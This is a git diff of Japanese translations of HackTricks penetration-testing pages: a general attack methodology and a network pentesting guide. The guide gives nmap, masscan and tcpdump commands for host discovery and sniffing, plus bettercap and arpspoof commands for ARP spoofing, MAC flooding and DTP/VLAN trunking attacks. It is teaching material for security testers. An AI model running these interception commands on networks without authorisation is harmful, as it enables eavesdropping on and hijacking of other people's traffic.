-**ホストの脆弱性を探す際に最初に行うべきことは、どのポートでどのサービスが実行されているかを知ることです。**[**ホストのポートをスキャンするための基本ツール**](pentesting-network/#scanning-hosts)を見てみましょう。 +**ホストの脆弱性を探している場合、まずはどのポートでどのサービスが実行されているかを知ることが重要です。**[**ホストのポートをスキャンするための基本ツール**](pentesting-network/#scanning-hosts)を見てみましょう。 -### **4-** [サービスバージョンの脆弱性を検索](search-exploits.md) +### **4-** [サービスバージョンの脆弱性の検索](search-exploits.md) -実行されているサービスとそのバージョンを知っている場合、**既知の脆弱性を検索する必要があります。**運が良ければ、シェルを提供する脆弱性が見つかるかもしれません... +実行されているサービスとそのバージョンを知ったら、**既知の脆弱性を検索する必要があります。**運が良ければシェルを取得するためのエクスプロイトがあるかもしれません... ### **5-** サービスのペンテスト -実行中のサービスに特別な脆弱性がない場合、**実行中の各サービスで一般的なミス構成を探す必要があります。** +実行中のサービスにファンシーなエクスプロイトがない場合、**実行中の各サービスで一般的なミス構成を探す必要があります。** -**この本の中で、最も一般的なサービスをペンテストするためのガイドが見つかります**(一般的でないサービスも含まれています)**。左のインデックスで** _**PENTESTING**_ **セクションを検索してください**(サービスはデフォルトポートで並べられています)。 +**この本の中で、最も一般的なサービスをペンテストするためのガイドが見つかります**(および一般的でないものも)**。左側のインデックスで** _**PENTESTING**_ **セクション**(サービスはデフォルトポートで順序付けされています)を検索してください。 -**特に[**Pentesting Web**](../network-services-pentesting/pentesting-web/) **部分に言及したいと思います(最も広範な部分です)。**\ -また、[**ソフトウェアの既知の脆弱性を見つける方法**](search-exploits.md)についての小さなガイドもここにあります。 +**[**Pentesting Web**](../network-services-pentesting/pentesting-web/) **部分に特筆したいと思います(最も広範囲です)。**\ +また、[**ソフトウェアの既知の脆弱性を見つける方法についての小さなガイド**](search-exploits.md)もここにあります。 -**インデックスにサービスがない場合は、Googleで検索**して他のチュートリアルを見つけ、**追加してほしい場合はお知らせください。** Googleで**何も見つからない**場合は、**自分自身でブラインドペンテスト**を実行し、**サービスに接続し、それをファジングして応答を読む**ことから始めることができます。 +**インデックスにサービスがない場合は、Googleで検索**して他のチュートリアルを探し、**追加してほしい場合はお知らせください。** Googleで**何も見つからない**場合は、**自分自身のブラインドペンテスト**を実行してください。サービスに接続し、それをファジングして応答を読むことから始めることができます(あれば)。 #### 5.1 自動ツール -**自動脆弱性評価を実行できるツールもいくつかあります。**[**Legion**](https://github.com/carlospolop/legion)**を試してみることをお勧めします。これは、この本で見つけることができるサービスのペンテストに関するノートに基づいて作成されたツールです。** +**自動脆弱性評価を実行できるツールもいくつかあります。** **私は** [**Legion**](https://github.com/carlospolop/legion)**を試すことをお勧めします。これは、この本で見つけることができるサービスのペンテストに関するノートに基づいて作成されたツールです。** #### **5.2 サービスのブルートフォース** -一部のシナリオでは、**Brute-Force**が**サービスを侵害**するのに役立つ場合があります。[**異なるサービスのブルートフォースのチートシート**](brute-force.md)**をこちらで見つけてください。** +一部のシナリオでは、**ブルートフォース**が**サービスを侵害**するのに役立つ場合があります。[**ここで異なるサービスのブルートフォースのチートシートを見つけてください**](brute-force.md)**。** ### 6- [フィッシング](phishing-methodology/) -この時点で興味深い脆弱性が見つからない場合は、**ネットワーク内に入るためにいくつかのフィッシングを試す必要があるかもしれません。**フィッシング手法については、[こちら](phishing-methodology/)を読んでください。 +この時点で興味深い脆弱性を見つけられない場合は、ネットワーク内に入るために**いくつかのフィッシングを試す必要があるかもしれません。**私のフィッシング手法は[こちら](phishing-methodology/)です: ### **7-** [**シェルの取得**](shells/) -何らかの方法で**被害者でコードを実行できるようになっているはずです。**その後、[逆シェルを取得するためにシステム内の可能なツールのリストが非常に役立ちます](shells/)。 +何らかの方法で被害者でコードを実行できるようになっているはずです。その後、[逆シェルを取得するためにシステム内の可能なツールのリストが非常に役立ちます](shells/)。 -特にWindowsでは、**アンチウイルスを回避するためのヘルプ**が必要になる場合があります:[**このページをチェックしてください**](../windows-hardening/av-bypass.md)**。** +特にWindowsでは、**アンチウイルスを回避するためのヘルプが必要**です:[**このページをチェックしてください**](../windows-hardening/av-bypass.md)**。**\\ ### 8- 内部 -シェルで問題が発生した場合、ペンテスターにとって非常に便利な**最も有用なコマンドの小さなコンパイル**がここにあります: +シェルで問題が発生した場合は、ペンテスターにとって非常に便利な**最も有用なコマンドの小さなコンパイル**がこちらにあります: -* [**Linux**](../linux-hardening/useful-linux-commands.md) -* [**Windows(CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) -* [**Windows(PS)**](../windows-hardening/basic-powershell-for-pentesters/) +- [**Linux**](../linux-hardening/useful-linux-commands.md) +- [**Windows(CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) +- [**Windows(PS)**](../windows-hardening/basic-powershell-for-pentesters/) ### **9 -** [**エクスフィルトレーション**](exfiltration.md) -おそらく、**被害者からデータを抽出**する必要があるか、特権昇格スクリプトなどを**導入**する必要があるでしょう。**これらの目的で使用できる一般的なツールについての**[**投稿がこちらにあります**](exfiltration.md)**。** +おそらく、被害者から**データを抽出**する必要があるか、特権昇格スクリプトなどを**導入**する必要があります。**これらの目的で使用できる一般的なツールについての投稿がこちらにあります**:[**こちら**](exfiltration.md)**。** ### **10- 特権昇格** #### **10.1- ローカル特権昇格** ボックス内で**root/Administratorではない**場合、**特権昇格の方法を見つける必要があります。**\ -ここでは、[**Linux**](../linux-hardening/privilege-escalation/) **および** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **でローカルに特権昇格する方法についてのガイドが見つかります。**\ -また、以下のWindowsの動作に関するページもチェックしてください: +ここでは、[**Linux**](../linux-hardening/privilege-escalation/) **および** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **でローカルに特権昇格するためのガイドが見つかります。**\ +また、以下のWindowsの動作に関するページもチェックする必要があります: * [**認証、資格情報、トークン特権、およびUAC**](../windows-hardening/authentication-credentials-uac-and-efs/) -* [**NTLMの動作**](../windows-hardening/ntlm/)はどのようになっていますか -* Windowsでの[**資格情報の盗み出し**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) +* [**NTLMの動作**](../windows-hardening/ntlm/) +* Windowsでの[**資格情報の盗み取り**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) * [_**Active Directory**_](../windows-hardening/active-directory-methodology/)に関するトリック -**WindowsおよびLinuxのローカル特権昇格パスを列挙するための最良のツールを確認するのを忘れないでください:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) +**WindowsとLinuxのローカル特権昇格パスを列挙するための最高のツールをチェックするのを忘れないでください:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) #### **10.2- ドメイン特権昇格** @@ -114,8 +114,8 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/) #### **11**.1 - ルーティング -ホスト内でさらに**パスワード**を見つけることができるか、または**ユーザーの特権**で他のマシンに**アクセス**できるかを確認してください。\ -ここでは、[**Windowsでのパスワードのダンプ方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)が異なる方法で見つかります。 +ホスト内でさらに**パスワード**を見つけることができるか、または**ユーザーの特権**で**他のマシンにアクセス**できるかどうかを確認してください。\ +ここでは、[**Windowsでパスワードをダンプするさまざまな方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)が見つかります。 #### 11.2 - 持続性 @@ -126,9 +126,9 @@ TODO: WindowsとLinuxでの持続性ポストを完了する ### 12 - ピボット -**収集した資格情報**を使用して他のマシンにアクセスできるかもしれません。または、被害者が接続されている新しいネットワーク内で新しいホストを**発見してスキャンする必要があるかもしれません**(Pentesting Methodologyを再開)。\ +**収集した資格情報**を使用して、他のマシンにアクセスできるかもしれません。または、被害者が接続されている新しいネットワーク内で**新しいホストを発見してスキャンする必要があるかもしれません**(Pentesting Methodologyを再開)。\ この場合、トンネリングが必要になるかもしれません。[**トンネリングについての記事**](tunneling-and-port-forwarding.md)がここにあります。\ -また、[Active Directoryのペンテスト方法論](../windows-hardening/active-directory-methodology/)についての記事もチェックする必要があります。そこでは、横断移動、特権昇格、および資格情報のダンプに関するクールなトリックが見つかります。\ +また、[Active Directoryのペンテスト方法論に関する記事](../windows-hardening/active-directory-methodology/)もチェックする必要があります。そこでは、横断移動、特権昇格、および資格情報のダンプに関するクールなトリックが見つかります。\ Windows環境でのピボットに非常に役立つ可能性がある[**NTLM**](../windows-hardening/ntlm/)のページもチェックしてください。 ### MORE @@ -149,7 +149,7 @@ Windows環境でのピボットに非常に役立つ可能性がある[**NTLM**] * [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) * [**パディングオラクル**](../crypto-and-stego/padding-oracle-priv.md) - + **ハッキングキャリア**に興味がある場合、**私たちは採用中です!**(_流暢なポーランド語の読み書きが必要です_)。 @@ -157,14 +157,14 @@ Windows環境でのピボットに非常に役立つ可能性がある[**NTLM**] -**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! +**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。 -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 +* **HackTricksの広告を見たい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる +* 独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する diff --git a/generic-methodologies-and-resources/pentesting-network/README.md b/generic-methodologies-and-resources/pentesting-network/README.md index 1cd865e3c..6ee3d917a 100644 --- a/generic-methodologies-and-resources/pentesting-network/README.md +++ b/generic-methodologies-and-resources/pentesting-network/README.md @@ -1,34 +1,34 @@ -# ペンテストネットワーク +# ネットワークの侵入テスト -**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでAWSハッキングを学ぶ** こちら! +htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学びましょう htARTE(HackTricks AWS Red Team Expert)! HackTricksをサポートする他の方法: -- **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する -- **ハッキングトリックを共有する**には、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする +- **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する \ -**バグバウンティのヒント**: **ハッカーによって作成されたプレミアム** **バグバウンティプラットフォーム** **Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! +**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムバグバウンティプラットフォーム**である**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} ## 外部からホストを発見する -これは**インターネットからIPが応答しているかを見つける**方法についての**簡単なセクション**になります。\ +これは、**インターネットから応答するIPを見つける方法**についての**簡単なセクション**になります。\ この状況では、いくつかの**IPのスコープ**(おそらく複数の**範囲**さえも)があり、**どのIPが応答しているか**を見つけるだけです。 ### ICMP -これはホストが起動しているかどうかを発見する**最も簡単で速い**方法です。\ -いくつかの**ICMP**パケットを送信して**応答を期待**することができます。最も簡単な方法は、**エコーリクエスト**を送信して応答を期待することです。単純な`ping`を使用するか、**範囲**用に`fping`を使用することができます。\ -他の種類のICMPパケットを送信するために**nmap**を使用することもできます(これにより、一般的なICMPエコーリクエスト-レスポンスへのフィルタが回避されます)。 +これは、ホストが起動しているかどうかを発見する**最も簡単で速い方法**です。\ +いくつかの**ICMP**パケットを送信して**応答を期待**することができます。最も簡単な方法は、**エコーリクエスト**を送信して応答を期待することです。これは、単純な`ping`を使用するか、**範囲**に対して`fping`を使用することで行うことができます。\ +また、**nmap**を使用して他のタイプのICMPパケットを送信することもできます(これにより、一般的なICMPエコーリクエスト-レスポンスへのフィルタが回避されます)。 ```bash ping -c 1 199.66.11.4 # 1 echo request to a host fping -g 199.66.11.0/24 # Send echo requests to ranges @@ -36,7 +36,7 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet ``` ### TCP ポートの発見 -すべての種類の ICMP パケットがフィルタリングされていることが非常に一般的です。そのため、ホストが稼働しているかどうかを確認するためにできることは、**オープンなポートを見つけようとする**ことです。各ホストには**65535個のポート**がありますので、もし「大規模な」スコープを持っている場合、各ホストの**各ポート**がオープンしているかどうかをテストすることはできません。それには時間がかかりすぎます。\ +すべての種類の ICMP パケットがフィルタリングされていることが非常に一般的です。そのため、ホストが稼働しているかどうかを確認するためにできることは、**オープンなポートを見つけようとすること**です。各ホストには**65535個のポート**がありますので、もし「大規模」なスコープを持っている場合、各ホストの**すべてのポート**がオープンかどうかをテストすることはできません。それには時間がかかりすぎます。\ そのため、必要なものは**高速なポートスキャナー**([masscan](https://github.com/robertdavidgraham/masscan))と**よく使用されるポートのリスト**です: ```bash #Using masscan to scan top20ports of nmap in a /24 range (less than 5min) @@ -44,7 +44,7 @@ masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5 ``` ### HTTP ポートの発見 -これは、**HTTP サービスの発見に焦点を当てた**、便利な TCP ポートの発見です。 +これは、**HTTP サービスの発見に焦点を当てたいときに便利な** TCP ポートの発見です。 ```bash masscan -p80,443,8000-8100,8443 199.66.11.0/24 ``` @@ -56,16 +56,16 @@ nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 # The -sV will make nmap test each possible known UDP service packet # The "--version-intensity 0" will make nmap only test the most probable ``` -前に提案されたnmapの行は、/24の範囲内のすべてのホストで**上位1000のUDPポート**をテストしますが、これだけでも**20分以上**かかります。**最速の結果**が必要な場合は、[**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner)を使用できます:`./udp-proto-scanner.pl 199.66.11.53/24` これにより、これらの**UDPプローブ**がそれらの**期待されるポート**に送信されます(/24の範囲では1分で完了します):_DNSStatusRequest、DNSVersionBindReq、NBTStat、NTPRequest、RPCCheck、SNMPv3GetRequest、chargen、citrix、daytime、db2、echo、gtpv1、ike、ms-sql、ms-sql-slam、netop、ntp、rpc、snmp-public、systat、tftp、time、xdmcp。_ +前に提案されたnmapの行は、/24の範囲内のすべてのホストで**トップ1000のUDPポート**をテストしますが、これだけでも**20分以上**かかります。 より**高速な結果**が必要な場合は、[**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner)を使用できます:`./udp-proto-scanner.pl 199.66.11.53/24` これにより、これらの**UDPプローブ**がそれらの**期待されるポート**に送信されます(/24の範囲では1分で完了します):_DNSStatusRequest、DNSVersionBindReq、NBTStat、NTPRequest、RPCCheck、SNMPv3GetRequest、chargen、citrix、daytime、db2、echo、gtpv1、ike、ms-sql、ms-sql-slam、netop、ntp、rpc、snmp-public、systat、tftp、time、xdmcp._ ### SCTPポートの発見 ```bash #Probably useless, but it's pretty fast, why not trying? nmap -T4 -sY -n --open -Pn ``` -## Wifiの侵入テスト +## Wifiのペンテスト -ここでは、執筞時点でよく知られているWifi攻撃の素晴らしいガイドを見つけることができます: +ここでは、執筆時点でよく知られているWifi攻撃の素敵なガイドを見つけることができます: {% content-ref url="../pentesting-wifi/" %} [pentesting-wifi](../pentesting-wifi/) @@ -73,11 +73,11 @@ nmap -T4 -sY -n --open -Pn ## 内部からホストを発見する -ネットワーク内部にいる場合、最初に行いたいことの1つは**他のホストを発見する**ことです。**どれだけノイズ**を出すことができるか/したいかに応じて、異なるアクションを実行できます: +ネットワーク内部にいる場合、最初に行いたいことの1つは**他のホストを発見する**ことです。**どれだけノイズ**を出すことができるか/したいかによって、異なるアクションを実行できます: ### パッシブ -これらのツールを使用して、接続されたネットワーク内のホストを受動的に発見できます: +これらのツールを使用して、接続されたネットワーク内のホストを受動的に発見できます: ```bash netdiscover -p p0f -i eth0 -p -o /tmp/p0f.log @@ -88,8 +88,8 @@ set net.show.meta true #more info ``` ### Active -外部からホストを発見する方法でコメントされているテクニックは、ここでも**適用できます**。\ -ただし、他のホストと**同じネットワーク**にいるため、**さらに多くのこと**ができます: +[_**外部からホストを発見する**_](./#discovering-hosts-from-the-outside)(_TCP/HTTP/UDP/SCTP ポート探索_)でコメントされている技術に注意してください。\ +しかし、他のホストと**同じネットワーク**にいるため、**ここでは**さらに多くのことができます: ```bash #ARP discovery nmap -sn #ARP Requests (Discover IPs) @@ -114,15 +114,15 @@ alive6 # Send a pingv6 to multicast. _外部からホストを発見する_ でコメントされている技術([_**ICMP**_](./#icmp))は、ここでも**適用できます**。\ ただし、他のホストと**同じネットワーク**にいるため、**さらに多くのこと**ができます: -- **サブネットブロードキャストアドレス**に**ping**を送信すると、**各ホスト**にpingが到達し、彼らが**応答**する可能性があります: `ping -b 10.10.5.255` +- **サブネットブロードキャストアドレス**に**ping**を送信すると、各ホストにpingが到達し、彼らが**あなたに応答**する可能性があります: `ping -b 10.10.5.255` - **ネットワークブロードキャストアドレス**にpingを送信すると、**他のサブネット内のホスト**を見つけることさえできます: `ping -b 255.255.255.255` - `nmap`の`-PE`、`-PP`、`-PM`フラグを使用して、それぞれ**ICMPv4 echo**、**タイムスタンプ**、**サブネットマスクリクエスト**を送信してホストの検出を実行します: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` ### **Wake On Lan** -Wake On Lanは、**ネットワークメッセージ**を介してコンピューターを**起動**するために使用されます。コンピューターを起動するために使用されるマジックパケットは、**MAC Dst**が提供され、その後、同じパケット内で**16回繰り返される**パケットだけです。\ +Wake On Lanは、**ネットワークメッセージ**を介してコンピューターを**起動**するために使用されます。コンピューターを起動するために使用されるマジックパケットは、MAC Dstが提供され、その後、同じパケット内で**16回繰り返される**パケットです。\ その後、この種のパケットは通常、**イーサネット0x0842**または**ポート9へのUDPパケット**で送信されます。\ -**\[MAC]**が提供されない場合、パケットは**ブロードキャストイーサネット**に送信されます(ブロードキャストMACが繰り返されるMACになります)。 +**\[MAC]**が提供されない場合、パケットは**ブロードキャストイーサネット**に送信されます(ブロードキャストMACが繰り返されるものになります)。 ```bash # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain) wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847 @@ -130,14 +130,14 @@ wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9 ``` ## ホストのスキャン -IPアドレス(外部または内部)をすべて発見したら、詳細にスキャンしたい場合、さまざまなアクションを実行できます。 +IPアドレス(外部または内部)をすべて発見したら、詳細にスキャンしたいと思うでしょう。異なるアクションを実行できます。 ### TCP -- **オープン**ポート: _SYN --> SYN/ACK --> RST_ -- **クローズド**ポート: _SYN --> RST/ACK_ -- **フィルターされた**ポート: _SYN --> \[NO RESPONSE]_ -- **フィルターされた**ポート: _SYN --> ICMPメッセージ_ +* **オープン**ポート: _SYN --> SYN/ACK --> RST_ +* **クローズド**ポート: _SYN --> RST/ACK_ +* **フィルタリングされた**ポート: _SYN --> \[NO RESPONSE]_ +* **フィルタリングされた**ポート: _SYN --> ICMPメッセージ_ ```bash # Nmap fast scan for the most 1000tcp ports used nmap -sV -sC -O -T4 -n -Pn -oA fastscan @@ -153,10 +153,10 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000 UDPポートをスキャンするための2つのオプションがあります: -- ポートが**閉じている**場合は、**UDPパケット**を送信し、応答として**ICMP unreachable**をチェックします(いくつかのケースではICMPが**フィルタリング**されているため、ポートが閉じているか開いているかの情報を受信できないことがあります)。 -- **フォーマットされたデータグラム**を送信して、**サービス**(例:DNS、DHCP、TFTPなど、_nmap-payloads_にリストされている)から応答を引き出します。応答を受信した場合、ポートは**開いています**。 +- ポートが**閉じている**場合は、**UDPパケット**を送信して応答が **ICMP unreachable** かどうかを確認します(いくつかのケースでは、ICMPが**フィルタリング**されているため、ポートが閉じているか開いているかの情報を受信できないことがあります)。 +- **フォーマットされたデータグラム**を送信して、**サービス**(例:DNS、DHCP、TFTPなど、_nmap-payloads_にリストされている他のサービス)から応答を引き出します。応答を受信した場合は、ポートが**開いている**ことになります。 -**Nmap**は"-sV"を使用して**両方の**オプションを組み合わせます(UDPスキャンは非常に遅いです)、ただしUDPスキャンはTCPスキャンよりも遅いことに注意してください: +**Nmap**は"-sV"を使用して**両方の**オプションを組み合わせます(UDPスキャンは非常に遅いです)、ただし、UDPスキャンはTCPスキャンよりも遅いことに注意してください: ```bash # Check if any of the most common udp services is running udp-proto-scanner.pl @@ -170,11 +170,11 @@ nmap -sU -sV --version-intensity 0 -n -T4 ``` ### SCTPスキャン -**SCTP(Stream Control Transmission Protocol)**は、**TCP(Transmission Control Protocol)**および**UDP(User Datagram Protocol)**と併用するように設計されています。その主な目的は、**Signaling System 7(SS7)**で見られる信頼性の機能の多くを反映しながら、IPネットワーク上での電話データの輸送を容易にすることです。**SCTP**は、**SIGTRAN**プロトコルファミリーの中核コンポーネントであり、SS7信号をIPネットワーク上で輸送することを目的としています。 +**SCTP(Stream Control Transmission Protocol)**は、**TCP(Transmission Control Protocol)**および**UDP(User Datagram Protocol)**と併用するように設計されています。その主な目的は、IPネットワーク上での電話データの輸送を容易にし、**Signaling System 7(SS7)**で見られる信頼性の多くの機能を反映しています。**SCTP**は、**SIGTRAN**プロトコルファミリーの中核コンポーネントであり、SS7信号をIPネットワーク上で輸送することを目的としています。 **SCTP**のサポートは、**IBM AIX**、**Oracle Solaris**、**HP-UX**、**Linux**、**Cisco IOS**、**VxWorks**など、さまざまなオペレーティングシステムによって提供されており、その広範な受容と通信およびネットワーキング分野での有用性が示されています。 -nmapによって提供されるSCTPの2つの異なるスキャンオプションは、_-sY_と_-sZ_です。 +nmapによって提供されるSCTPの2つの異なるスキャンオプション: _-sY_ および _-sZ_ ```bash # Nmap fast SCTP scan nmap -T4 -sY -n -oA SCTFastScan @@ -195,7 +195,7 @@ nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan ### 内部IPアドレスの特定 -**設定ミスのルーター、ファイアウォール、およびネットワークデバイス** は、時々 **非公開ソースアドレス** を使用してネットワークプローブに応答します。**tcpdump** を使用して、テスト中にプライベートアドレスから受信したパケットを特定できます。具体的には、Kali Linuxでは、**eth2インターフェース** でパケットをキャプチャできます。このインターフェースは、インターネットからアクセスできます。設定がNATまたはファイアウォールの背後にある場合、このようなパケットはおそらくフィルタリングされますので、注意が必要です。 +**設定ミスのルーター、ファイアウォール、およびネットワークデバイス** は、時々 **非公開ソースアドレス** を使用してネットワークプローブに応答します。**tcpdump** を使用して、テスト中にプライベートアドレスから受信したパケットを特定できます。具体的には、Kali Linuxでは、**eth2インターフェース** でパケットをキャプチャできます。これは公共インターネットからアクセスできます。設定がNATまたはファイアウォールの背後にある場合、そのようなパケットはフィルタリングされる可能性があることに注意することが重要です。 ```bash tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode @@ -215,14 +215,12 @@ sudo tcpdump -i udp port 53 #Listen to DNS request to discover what tcpdump -i icmp #Listen to icmp packets sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &" ``` -One can, also, capture packets from a remote machine over an SSH session with Wireshark as the GUI in realtime. +一方、WiresharkをGUIとして使用してリアルタイムでリモートマシンからSSHセッション経由でパケットをキャプチャすることもできます。 ``` ssh user@ tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i - ssh @ tcpdump -i -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic ``` ### Bettercap - -Bettercapは、ネットワーク内の様々な攻撃を実行するための強力なツールです。ARPスプーフィング、SSLストリップ、DNS偽装などの攻撃を実行するために使用されます。Bettercapは、中間者攻撃やネットワークスニッフィングなどのテスト中に広く使用されています。 ```bash net.sniff on net.sniff stats @@ -243,7 +241,7 @@ set net.sniff.regexp #If set only packets matching this regex will be considered ### ARP スプーフィング -ARP スプーフィングは、機器のIPが自分のデバイスのMACアドレスであることを示すために不正なARP応答を送信することです。その後、被害者はARPテーブルを変更し、スプーフィングされたIPに接触したいときには常に当機器に接触します。 +ARP スプーフィングは、不正な ARP レスポンスを送信して、特定のマシンの IP が自分のデバイスの MAC アドレスであることを示すことです。その後、被害者は ARP テーブルを変更し、スプーフィングされた IP に接続するたびに、当該 IP に接続するために当社のマシンに連絡します。 #### **Bettercap** ```bash @@ -254,8 +252,6 @@ set arp.spoof.fullduplex true #If true, both the targets and the gateway will be set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false) ``` #### **Arpspoof** - -Arpspoofは、ARPプロトコルを悪用して、ターゲットデバイスとゲートウェイの間の通信を傍受するために使用されます。 ```bash echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -t 192.168.1.1 192.168.1.2 @@ -267,19 +263,17 @@ arpspoof -t 192.168.1.2 192.168.1.1 ```bash macof -i ``` -現代のスイッチでは、この脆弱性は修正されています。 +### 802.1Q VLAN / DTP Attacks -### 802.1Q VLAN / DTP 攻撃 +#### Dynamic Trunking -#### 動的トランク +**動的トランクプロトコル(DTP)**は、トランクモード(トランク)または非トランクモードのポートをスイッチが自動的に選択できるようにするリンク層プロトコルとして設計されています。**DTP**の展開は、サブオプティマルなネットワーク設計の兆候と見なされることがよくあり、必要な場所だけでトランクを手動で構成し、適切なドキュメントを確認することの重要性を強調しています。 -**動的トランクプロトコル(DTP)**は、トランクモード(トランク)または非トランクモードのポートを自動的に選択するための自動システムを容易にするために設計されたリンク層プロトコルです。 **DTP**の展開は、しばしばサブオプティマルなネットワーク設計の兆候と見なされ、必要な場所だけでトランクを手動で構成し、適切なドキュメントを確認することの重要性を強調しています。 +デフォルトでは、スイッチポートは動的オートモードで動作するように設定されており、隣接するスイッチに促されるとトランクを開始できる状態です。ペンテスターまたは攻撃者がスイッチに接続し、DTPデザイアブルフレームを送信すると、ポートがトランクモードに入るため、セキュリティ上の懸念が生じます。この行動により、攻撃者はSTPフレームの解析を通じてVLANを列挙し、仮想インターフェースを設定することでVLANセグメンテーションを回避できます。 -デフォルトでは、スイッチポートは動的オートモードで動作するように設定されており、隣接するスイッチに促されるとトランクを開始できる状態です。 ペンテスターまたは攻撃者がスイッチに接続し、DTPデザイアブルフレームを送信すると、ポートがトランクモードに入るため、セキュリティ上の懸念が生じます。 このアクションにより、攻撃者はSTPフレームの解析を通じてVLANを列挙し、仮想インターフェースを設定することでVLANセグメンテーションを回避できます。 +多くのスイッチにデフォルトでDTPが存在することを悪用することで、敵対者はスイッチの振る舞いを模倣し、結果としてすべてのVLANを通過するトラフィックにアクセスできます。スクリプト[_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan)は、インターフェースを監視し、スイッチがデフォルト、トランク、ダイナミック、オート、またはアクセスモードのいずれであるかを明らかにし、VLANホッピング攻撃に対して免疫力のある唯一の構成である後者を評価するために使用されます。このツールはスイッチの脆弱性ステータスを評価します。 